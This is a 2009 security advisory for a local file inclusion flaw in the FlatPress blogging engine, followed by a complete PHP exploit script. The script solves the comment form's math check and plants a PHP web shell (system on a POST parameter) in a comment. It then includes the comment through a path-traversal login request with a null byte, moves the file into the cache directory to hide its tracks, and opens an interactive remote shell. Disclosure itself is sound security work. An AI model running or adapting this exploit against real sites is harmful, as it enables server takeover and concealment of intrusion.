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Security Advisory
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution
Researcher Information
Discovered by: Giuseppe `Zmax` Fuggiano
Website:
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com
Product Information
FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine written in PHP by Edoardo Vacchi.
Website:
Vulnerability Description
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty LFI vulnerability which can be exploited to have RCE (Remote Command Execution). The piece of code involved is in the fp-includes/core/core.users.php directory in the user_get() function as showed below.
function user_get($userid=null){
if ($userid == null && ($user = user_loggedin())) { return $user; } if (file_exists($f = USERS_DIR . $userid.".php")) { include($f); return $user; } }
It is possible to create a crafted comment for an article, and inject PHP code into the "web link" field, which is not properly validated. Then, a remote attacker could use this code to execute shell commands remotely, eventually hiding his own tracks (e.g. deleting the injected comment).
Disclosure timeline
DD/MM/YYYY
- 24/09/2009: Vulnerability discovery and analysis;
- 26/09/2009: The vendor was notificated via e-mail;
- 26/09/2009: Vendor response and a new release publicly available;
- 27/09/2009: The researcher starts coding the exploit;
- 29/09/2009: Exploit complete and tested.
Workaroud
Update to the newer version 0.812.2
Shouts
Thank you (you-know-who) :-)
Exploit
<?php
/* Author: Giuseppe `Zmax` Fuggiano * * Description: FlatPress 0.804-0.812.1 Local File Inclusion toRemote Command Execution * vulnerability exploit (fp-includes/core/core.users.php). * This code posts a crafted comment with a very simplePHP shell. * It exploits the LFI, hides the shell in the cache directory * and starts a remote command session via POST. * * Syntax: php fp-lfi2rce.php [action] [lang] [shell] * : the hostname or IP address of your target; * : the path where FlatPress was installed; * [action]: the action to take against the host system(test, attack); * [lang]: the remote language used (en, it);"; * [shell]: if already exploited, you could just have the shell name. * * Dependencies: php5-curl. *
- Examples:
- php fp-lfi2rce.php www.example.com / => will test
- php fp-lfi2rce.php www.example.com /blog attack => will attack
- php fp-lfi2rce.php www.example.com /flatpress attack en 12345678.php => start remote session */
/* GET request, returns the page */
function get_url_contents($crl, $url)
{
curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
$ret = curl_exec($crl);
return $ret;
}
/* POST request */
function post_url_fields($crl, $url, $fields) {
curl_setopt($crl, CURLOPT_URL, $url); curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($crl, CURLOPT_POST, 1); curl_setopt($crl, CURLOPT_POSTFIELDS, $fields); curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
$ret = curl_exec($crl);
return $ret;
}
/* Execute remote command, returns the output */ function fp_exec($crl, $sh, $cmd)
{
$ret = post_url_fields($crl, $sh, "c=$cmd");
if ($ret) {
$pos1 = strpos($ret, '') + 14; $pos2 = strpos($ret, 'aaa.com', $pos1); $result = substr($ret, $pos1, $pos2-$pos1); return $result; } else return false;
}
/* Starts a remote command session */
function fp_shell($crl, $sh)
{
echo "/nStarting remote command session, type 'quit' or 'exit' to exit./n";
echo "/nremote> ";
$line = trim(fgets(STDIN));
while (($line != 'exit') && ($line != 'quit')) {
if ($line != "") { if ($ret = fp_exec($crl, $sh, $line)) { echo "/n$ret"; } else echo "/nError./n"; } echo "/nremote> "; $line = trim(fgets(STDIN)); }
}
function fail($crl, $str)
{
curl_close($crl);
die($str);
}
echo "/n Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>/n"; echo "/n";
echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution/n";
echo " vulnerability exploit (fp-includes/core/core.users.php)./n";
echo " This code posts a crafted comment with a very simple PHP shell./n";
echo " It exploits the LFI, hides the shell in the cache directory/n";
echo " and starts a remote command session via POST./n"; echo "/n"; echo " Syntax: $argv[0] [action] [lang] [shell]/n"; echo " : the hostname or IP address of your target;/n"; echo " : the path where FlatPress was installed;/n"; echo " [action]: the action to take against the host system(test, attack);/n"; echo " [lang]: the remote language used (en, it);/n"; echo " [shell]: if already exploited, you could just have
the shell name./n";
echo "/n"; echo " Examples:/n"; echo " php $argv[0] www.example.com / => will test/n"; echo " php $argv[0] www.example.com /blog attack => will attack/n"; echo " php $argv[0] www.example.com /flatpress attack en
12345678.php => start remote session/n/n";
$crl = curl_init();
if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h') die();
$HOST = $argv[1];
$PATH = $argv[2];
if (isset($argv[3]))
$ACTION = $argv[3];
else
$ACTION = 'test';
if (isset($argv[4]))
$LANG = $argv[4];
else
$LANG = 'en';
switch ($LANG) {
case 'it':
$LANGARRAY = array('aaspam' => 'Per prevenire abusi del sistema di commenti, ' .
'ti chiediamo di scrivere ilrisultato di ' . 'questa semplice operazione matematica', 'sum' => 'sommare', 'subtract' => 'togli'); break; default: /* en */ $LANGARRAY = array('aaspam' => 'As a way to prevent abuses ofthis commenting system, ' . 'we must ask you to give theresult of this simple ' . 'mathematical operation', 'sum' => 'sum', 'subtract' => 'subtract'); break; }
if (isset($argv[5])) {
$SHELL = $argv[5];
fp_shell($crl, "fp-content/cache/$SHELL"); curl_close($crl);
exit();
} else
$SHELL = 'unknown';
echo " Host: $HOST/n"; echo " Path: $PATH/n"; echo " Lang: $LANG/n"; echo " Shell: $SHELL/n/n";
echo " [+] Vulnerability test: ";
$form = "user=../../admin&pass=".rand()."&submit=Login"; $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);
if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false) echo "vulnerable!/n/n";
else
fail($crl, "NOT vulnerable!/n/n");
if ($ACTION == "test") {
curl_close($crl);
exit();
}
echo " [+] Creating the shell/n";
echo " * Getting the home page: ";
$home = get_url_contents($crl, "$HOST/$PATH/");
if (strpos($home, '<meta name="generator" content="FlatPress')) echo "ok/n";
else
fail($crl, "FAIL!/n/n");
echo " * Detecting an article: ";
$entrypos = strpos($home, "x=entry:entry") + 8;
if ($entrypos) {
$entry = substr($home, $entrypos, 18); echo "$entry/n";
} else
fail($crl, "FAIL!/n/n");
echo " * Getting the comment page: ";
$commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");
if (strpos($commentpage, 'id="comment-userdata"')) echo "ok/n";
else
fail($crl, "FAIL!/n/n");
echo " * Solving the math operation: ";
$mathpos = strpos($commentpage, $LANGARRAY['aaspam']) + strlen($LANGARRAY['aaspam']);
$mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>"); $mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos); $operation = strtok($mathstr, " "); switch ($operation) {
case $LANGARRAY['sum']:
$first = strtok(' '); $to = strtok(' '); $second = strtok(' '); $result = $first + $second; break; case $LANGARRAY['subtract']: $first = strtok(' '); $from = strtok(' '); $second = strtok(' '); $result = $second - $first; break; case (is_numeric($operation) ? $operation : ""): $first = $operation; $times = strtok(' '); $second = strtok(' '); $result = $first * $second; break; default: fail($crl, "FAIL!/n/n"); }
echo "$result/n";
echo " * Posting crafted comment.../n";
$random = rand();
$form = 'name='.$random.'&email=fake@fake.com&url=/<?system($_POST[/'c/']);?/>aaa.com' .
'&aaspam='.$result.'&content=foo&submit=Add';
post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form); $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");
echo " * Searching comment name: ";
if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
$commentpage, $comments, PREG_PATTERN_ORDER)) { $commententry = end($comments[0]); echo "$commententry/n"; } else
fail($crl, "FAIL!/n/n");
$year = substr($entry, 5, 2); $month = substr($entry, 7, 2); $commentpath = "content/$year/$month/$entry/comments/$commententry.txt"; echo " * Hiding tracks: ";
$SHELL = rand().'.php';
$form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
"&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);
if (strpos($loginpage, '') && strpos($loginpage, 'aaa.com')) { echo "ok/n/n";
echo " [+] Your shell: fp-content/cache/$SHELL/n"; } else
fail($crl, "FAIL!/n/n");
fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");
curl_close($crl);
exit();
?>
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